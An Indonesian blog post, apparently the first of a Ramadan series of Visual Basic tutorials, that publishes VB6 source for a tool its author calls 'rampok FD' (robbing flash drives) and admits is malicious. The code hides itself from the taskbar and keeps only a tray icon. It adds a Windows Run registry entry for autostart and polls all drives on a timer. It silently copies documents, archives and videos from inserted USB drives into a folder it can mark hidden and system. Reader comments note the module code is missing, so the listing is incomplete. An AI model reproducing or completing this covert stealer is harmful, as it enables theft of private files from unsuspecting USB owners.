Awal Ramadhan + Source code rampok FD

Akhirnya hari yang di tunggu-tunggu datang juga yaitu hari di mana awal dari bulan ramadhan, bulan yang penuh berkah. mohon doanya ya semoga bulan ini saya bisa menjalankan ibadah puasa, sehingga dapat hidayah dari Allah SWT. dan bulan ini saya akan membagikan ilmu saya pada visual basic. doakan kan setiap hari di bulan ramadhan aku akan membahas 1 tentang visual basic, dab bermanfaat bagi pembaca.
Silahkan aja anda ikuti tutorial saya di hari bulan puasanya ini. disini aku akan membahas gimana kita dapat mengambil data dari flasdisk yang tercolok di kompi kita.
sebenarnya program ini termasuk jahat juga karena program ini akan menyedot isi dari FD tanpa pemberitahuan. langsung aja ikuti petunjuk seterusnya

Buka VB6 ya......., jangan sediakan apa2 kan puasa....hehe...
1. Siapkan 2 form, 2 module, 1 usercontrol
2. Siapkan jari anda untuk copas (copy paste ni source) untuk tampilan gimana mas?
kan udah besar pikir dan bayangkan sendiri ya....

ni kode untuk form1

Dim SearchFlag As Integer
Dim Aku As Long
Dim myPath As String
Dim Direktori As String, Folder As String, Ekstensi As String
Dim UserName As String, Password As String, AutoStart As String
Dim Hidden As String, RampokSemua As String
Dim nID As NOTIFYICONDATA
Private Sub UpdateIcon(IconApa As Long)
With nID
.cbSize = Len(nID)
.hwnd = Me.hwnd
.uId = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = IconApa
End With
Shell_NotifyIcon NIM_ADD, nID
End Sub

Private Sub Rampok(Tempatnya As String)
Dim PathPertama As String, JumlahDir As Integer, NomorFile As Integer
Dim Hasilnya As Integer
Dim ind As Integer
Dim i As Integer
On Error Resume Next
If dirList.Path <> dirList.List(dirList.ListIndex) Then
dirList.Path = dirList.List(dirList.ListIndex)
Exit Sub
End If
dirList.Path = Tempatnya
PathPertama = dirList.Path
JumlahDir = dirList.ListCount
DoEvents
NomorFile = 0
Hasilnya = DirDiver(PathPertama, JumlahDir, "")
filList.Path = dirList.Path
Screen.MousePointer = vbDefault
End Sub

Private Function DirDiver(PathBaru As String, JumlahDir As Integer, BackUp As String) As Integer
Dim DirsToPeek As Long
Dim AbandonSearch As Long
Dim ind As Long
Dim PathLama As String
Dim PathSekarang As String
Dim Entry As String
Dim Retval As Integer
Dim X As Integer
Dim HariIni As String
On Error Resume Next
HariIni = Format(Now, "yyyymmdd")
BuatFolder txtField(0).Text + txtField(1).Text + "\"
BuatFolder txtField(0).Text + txtField(1).Text + "\" + HariIni + "\"
SearchFlag = True
DirDiver = False
Retval = DoEvents()
If SearchFlag = False Then
DirDiver = True
Exit Function
End If
DirsToPeek = dirList.ListCount
Do While DirsToPeek > 0 And SearchFlag = True
PathLama = dirList.Path
dirList.Path = PathBaru
If dirList.ListCount > 0 Then
dirList.Path = dirList.List(DirsToPeek - 1)
AbandonSearch = DirDiver((dirList.Path), JumlahDir%, PathLama)
End If
DirsToPeek = DirsToPeek - 1
If AbandonSearch = True Then Exit Function
Loop
If filList.ListCount Then
If Len(dirList.Path) <= 3 Then
PathSekarang = dirList.Path
Else
PathSekarang = dirList.Path + "\"
End If
For ind = 0 To filList.ListCount - 1
Entry = PathSekarang + filList.List(ind)
Aku = CopyFiles(PathSekarang, txtField(0).Text + txtField(1).Text + "\" + HariIni + "\", filList.List(ind))
Next ind
End If
If BackUp <> "" Then
dirList.Path = BackUp
End If
End Function

Private Sub chkHide_Click()
On Error Resume Next
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf chkHide.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
End Sub
Private Sub chkStart_Click()
On Error Resume Next
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
ElseIf chkStart.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
End Sub

Private Sub cmdBrowse_Click()
On Error Resume Next
With BukaFile
.ShowOpen
txtField(0).Text = Left(.FileName, Len(Trim(.FileName)) - Len(Trim(.FileTitle)))
End With

End Sub

Private Sub cmdSimpan_Click()
On Error Resume Next
DataString = txtField(4).Text
Translate
Call SimpanReg(Tempat, SubTempat, "Direktori", txtField(0).Text)
Call SimpanReg(Tempat, SubTempat, "Folder", txtField(1).Text)
Call SimpanReg(Tempat, SubTempat, "Ekstensi", txtField(2).Text)
Call SimpanReg(Tempat, SubTempat, "UserName", txtField(3).Text)
Call SimpanReg(Tempat, SubTempat, "Password", Temp$)
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
Else
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
Else
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If

If optPil(0).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
filList.Pattern = txtField(2).Text
ElseIf optPil(1).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If

For i = 0 To 4
txtField(i).Locked = True
Next i
cmdSimpan.Enabled = False
cmdUbah.Enabled = True

End Sub

Private Sub cmdUbah_Click()
On Error Resume Next
For i = 0 To 4
txtField(i).Locked = False
Next i
cmdSimpan.Enabled = True
cmdUbah.Enabled = False
txtField(0).SetFocus
End Sub

Private Sub DirList_Change()
filList.Path = dirList.Path
End Sub

Private Sub DirList_LostFocus()
dirList.Path = dirList.List(dirList.ListIndex)
End Sub

Private Sub Form_Load()
On Error Resume Next
UpdateIcon Me.Icon
App.TaskVisible = False
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "Direktori", Direktori)
Call BacaReg(Tempat, SubTempat, "Folder", Folder)
Call BacaReg(Tempat, SubTempat, "Ekstensi", Ekstensi)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
Call BacaReg(Tempat, SubTempat, "AutoStart", AutoStart)
Call BacaReg(Tempat, SubTempat, "Hidden", Hidden)
Call BacaReg(Tempat, SubTempat, "RampokSemua", RampokSemua)
For i = 0 To 4
txtField(i).Locked = True
Next i

If Direktori = "" Then
txtField(0).Text = App.Path + "\"
Else
txtField(0).Text = Direktori
End If
If Folder = "" Then
txtField(1).Text = "Hasil Merampok"
Else
txtField(1).Text = Folder
End If
If Ekstensi = "" Then
txtField(2).Text = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
filList.Pattern = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
Else
txtField(2).Text = Ekstensi
filList.Pattern = Ekstensi
End If
If UserName = "" Then
txtField(3).Text = "mr_hack"
Else
txtField(3).Text = UserName
End If
If AutoStart = "" Then
chkStart.Value = 0
ElseIf AutoStart = "True" Then
chkStart.Value = 1
ElseIf AutoStart = "False" Then
chkStart.Value = 0
End If
If Hidden = "" Then
chkHide.Value = 0
ElseIf Hidden = "True" Then
chkHide.Value = 1
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf Hidden = "False" Then
chkHide.Value = 0
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If RampokSemua = "" Then
optPil(0).Value = False
optPil(1).Value = True
ElseIf RampokSemua = "ON" Then
optPil(0).Value = True
optPil(1).Value = False
Timer1.Enabled = True
ElseIf RampokSemua = "OFF" Then
optPil(0).Value = False
optPil(1).Value = True
Timer1.Enabled = False
End If
DataString = Password
Translate
Password = Temp$
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
Me.WindowState = 1
txtField(4).Text = Password
End If

End Sub

Private Sub Form_Resize()
If Me.WindowState = vbMinimized Then
Me.Hide
End If

End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Hasil As Long
Dim HorX As Long
If Me.ScaleMode = vbPixels Then
HorX = X
Else
HorX = X / Screen.TwipsPerPixelX
End If
Select Case HorX
Case WM_LBUTTONDBLCLK 'Restore saat klik kiri beruntun.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
Case WM_RBUTTONUP 'Tampilkan menu Popup saat klik kanan.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
End Select
End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nID
End
End Sub

Private Sub mMinimize_Click()
Me.WindowState = 1
End Sub

Private Sub mnExit_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
End
Else
frmPassword.Show
End If
End Sub

Private Sub mPembuat_Click()
MsgBox "Dibuat oleh mr_hack" + Chr(13) + _
"E-mail : mr_hack77@yahoo.com" + Chr(13) + _
"E-mail : hack.chin@gmail.com" + Chr(13) + _
"thank to:" + Chr(13) + _
"Semua teman-teman yogyafree.net" + Chr(13) + _
"Semua teman-teman vb-bego.com" + Chr(13) + _
"All friend", vbOKOnly + vbInformation, "Sing Gawe"
End Sub

Private Sub mRestore_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
frmPassword.Show
End If
End Sub

Private Sub optPil_Click(Index As Integer)
If optPil(0).Value = True Then
Timer1.Enabled = True
filList.Pattern = txtField(2).Text
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
Else
Timer1.Enabled = False
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
End Sub

Private Sub Timer1_Timer()
For i = 1 To Len(CariDrive) Step 3
Rampok Mid$(CariDrive, i, 2)
Next i
End Sub


3 comments

Mas, bisa kirimkan aplikasinya, alnya udah sy coba tp gak jalan. tks

amir.forum08@gmail.com

Reply

bang bisa kirim source nya lebih lengkap ga?
soalnya klo diliat2 kurang lengkap tuh

email aja ya mas ke galvadio@gmail.com

Reply

Amir Mahmud >>

kayaknya gak jalan tuh ga ada coding pada Module-nya.

ga di post.

Reply

Posting Komentar